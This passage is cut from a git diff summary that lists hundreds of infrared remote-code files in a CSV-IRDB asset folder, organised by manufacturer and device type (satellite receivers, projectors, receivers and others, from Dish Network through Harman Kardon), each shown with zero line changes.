Network/Satellite/0,31.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir | 0 .../_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir | 0 .../optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir | 0 .../_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir | 0 .../_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir | 0 .../optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir | 0 .../optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir | 0 .../optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir | 0 .../_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir | 0 .../_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir | 0 .../optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir | 0 .../_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir | 0 .../_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir | 0 .../optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir | 0 .../optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir | 0 .../_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir | 0 .../_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir | 0 .../_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir | 0 .../_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir | 0 .../optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir | 0 .../_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir | 0 .../_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir | 0 .../optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir | 0 .../optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir | 0 .../optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir | 0 .../optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir | 0 .../optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir | 0 .../optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir | 0 .../_CSV-IRDB_/Fisher/Surround Processor/54,200.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir | 0 .../optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir | 0 .../optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir | 0 .../optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir | 0 .../optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir | 0 .../_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir | 0 .../optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir | 0 .../optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir | 0 .../optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir | 0 .../optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir | 0 .../optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir | 0 .../_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir | 0 .../_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir | 0 .../optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir | 0 .../_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir | 0 .../_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir | 0 .../_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir | 0 .../optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir | 0 .../_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir | 0 .../optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir | 0 .../_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/144,0.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Satellite/1,-1.ir | 0 .../_CSV-IRDB_/General Instrument/Satellite/130,110.ir | 0 .../_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir | 0 .../_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir | 0 .../_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir | 0 .../optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir | 0 .../optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir | 0 .../optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir | 0 .../_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir | 0 .../optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir | 0 .../_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir | 0 .../optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir | 0 .../_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir | 0 .../_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir | 0 .../_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir | 0 .../_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir | 0 .../_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir | 0 .../_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir | 0 .../_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir | 